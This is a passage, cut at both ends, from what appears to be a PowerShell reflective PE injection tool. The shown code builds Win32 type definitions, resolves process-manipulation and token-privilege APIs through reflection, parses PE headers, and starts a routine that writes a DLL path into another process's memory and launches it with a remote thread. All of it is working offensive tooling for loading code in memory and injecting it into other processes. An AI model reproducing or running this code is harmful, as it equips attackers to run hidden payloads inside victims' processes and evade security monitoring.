Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("LUID_AND_ATTRIBUTES", $Attributes, [System.ValueType], 12) $TypeBuilder.DefineField("Luid", $LUID, "Public") | Out-Null $TypeBuilder.DefineField("Attributes", [UInt32], "Public") | Out-Null $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("TOKEN_PRIVILEGES", $Attributes, [System.ValueType], 16) $TypeBuilder.DefineField("PrivilegeCount", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("Privileges", $LUID_AND_ATTRIBUTES, "Public") | Out-Null $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES return $Win32Types } Function Get-Win32Constants { $Win32Constants = New-Object System.Object $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 return $Win32Constants } Function Get-Win32Functions { $Win32Functions = New-Object System.Object $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy $memsetAddr = Get-ProcAddress msvcrt.dll memset $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf if (([Environment]::OSVersion.Version -ge (New-Object "Version" 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object "Version" 6,2))) { $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx } $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread return $Win32Functions } Function Sub-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { $Val = $Value1Bytes[$i] - $CarryOver #Sub bytes if ($Val -lt $Value2Bytes[$i]) { $Val += 256 $CarryOver = 1 } else { $CarryOver = 0 } [UInt16]$Sum = $Val - $Value2Bytes[$i] $FinalBytes[$i] = $Sum -band 0x00FF } } else { Throw "Cannot subtract bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Add-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { #Add bytes [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver $FinalBytes[$i] = $Sum -band 0x00FF if (($Sum -band 0xFF00) -eq 0x100) { $CarryOver = 1 } else { $CarryOver = 0 } } } else { Throw "Cannot add bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Compare-Val1GreaterThanVal2AsUInt { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) { if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) { return $true } elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) { return $false } } } else { Throw "Cannot compare byte arrays of different size" } return $false } Function Convert-UIntToInt { Param( [Parameter(Position = 0, Mandatory = $true)] [UInt64] $Value ) [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) return ([BitConverter]::ToInt64($ValueBytes, 0)) } Function Get-Hex { Param( [Parameter(Position = 0, Mandatory = $true)] $Value ) $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value return $Hex } Function Test-MemoryRangeValid { Param( [Parameter(Position = 0, Mandatory = $true)] [String] $DebugString, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 2, Mandatory = $true)] [IntPtr] $StartAddress, [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) $PEEndAddress = $PEInfo.EndAddress if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) { Throw "Trying to write to memory smaller than allocated address range. $DebugString" } if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) { Throw "Trying to write to memory greater than allocated address range. $DebugString" } } Function Write-BytesToMemory { Param( [Parameter(Position=0, Mandatory = $true)] [Byte[]] $Bytes, [Parameter(Position=1, Mandatory = $true)] [IntPtr] $MemoryAddress ) for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) { [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) } } Function Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName("ReflectedDelegate") $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("InMemoryModule", $false) $TypeBuilder = $ModuleBuilder.DefineType("MyDelegateType", "Class, Public, Sealed, AnsiClass, AutoClass", [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor("RTSpecialName, HideBySig, Public", [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags("Runtime, Managed") $MethodBuilder = $TypeBuilder.DefineMethod("Invoke", "Public, HideBySig, NewSlot, Virtual", $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags("Runtime, Managed") Write-Output $TypeBuilder.CreateType() } Function Get-ProcAddress { Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\\")[-1].Equals("System.dll") } $UnsafeNativeMethods = $SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods") # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod("GetModuleHandle") $GetProcAddress = $UnsafeNativeMethods.GetMethod("GetProcAddress", [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null); # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } Function Create-RemoteThread { Param( [Parameter(Position = 1, Mandatory = $true)] [IntPtr] $ProcessHandle, [Parameter(Position = 2, Mandatory = $true)] [IntPtr] $StartAddress, [Parameter(Position = 3, Mandatory = $false)] [IntPtr] $ArgumentPtr = [IntPtr]::Zero, [Parameter(Position = 4, Mandatory = $true)] [System.Object] $Win32Functions ) [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero $OSVersion = [Environment]::OSVersion.Version if (($OSVersion -ge (New-Object "Version" 6,0)) -and ($OSVersion -lt (New-Object "Version" 6,2))) { $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($RemoteThreadHandle -eq [IntPtr]::Zero) { Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" } } else { $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) } if ($RemoteThreadHandle -eq [IntPtr]::Zero) { Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop } return $RemoteThreadHandle } Function Get-ImageNtHeaders { Param( [Parameter(Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $NtHeadersInfo = New-Object System.Object $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) if ($imageNtHeaders64.Signature -ne 0x00004550) { throw "Invalid IMAGE_NT_HEADER signature." } if ($imageNtHeaders64.OptionalHeader.Magic -eq "IMAGE_NT_OPTIONAL_HDR64_MAGIC") { $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true } else { $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false } return $NtHeadersInfo } Function Get-PEBasicInfo { Param( [Parameter( Position = 0, Mandatory = $true )] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $PEInfo = New-Object System.Object [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types $PEInfo | Add-Member -MemberType NoteProperty -Name "PE64Bit" -Value ($NtHeadersInfo.PE64Bit) $PEInfo | Add-Member -MemberType NoteProperty -Name "OriginalImageBase" -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) $PEInfo | Add-Member -MemberType NoteProperty -Name "SizeOfImage" -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) $PEInfo | Add-Member -MemberType NoteProperty -Name "SizeOfHeaders" -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) $PEInfo | Add-Member -MemberType NoteProperty -Name "DllCharacteristics" -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) return $PEInfo } Function Get-PEDetailedInfo { Param( [Parameter( Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants ) if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) { throw "PEHandle is null or IntPtr.Zero" } $PEInfo = New-Object System.Object #Get NtHeaders information $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types #Build the PEInfo object $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) $PEInfo | Add-Member -MemberType NoteProperty -Name "SizeOfImage" -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) if ($PEInfo.PE64Bit -eq $true) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } else { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) { $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value "DLL" } elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) { $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value "EXE" } else { Throw "PE file is not an EXE or DLL" } return $PEInfo } Function Import-DllInRemoteProcess { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $RemoteProcHandle, [Parameter(Position=1, Mandatory=$true)] [IntPtr] $ImportDllPathPtr ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($RImportDllPathPtr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write DLL path to remote process memory" } if ($DllPathSize -ne $NumBytesWritten) { Throw "Didnt write the expected amount of bytes when writing a DLL path to load to the remote process" } $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes [IntPtr]$DllAddress = [IntPtr]::Zero if 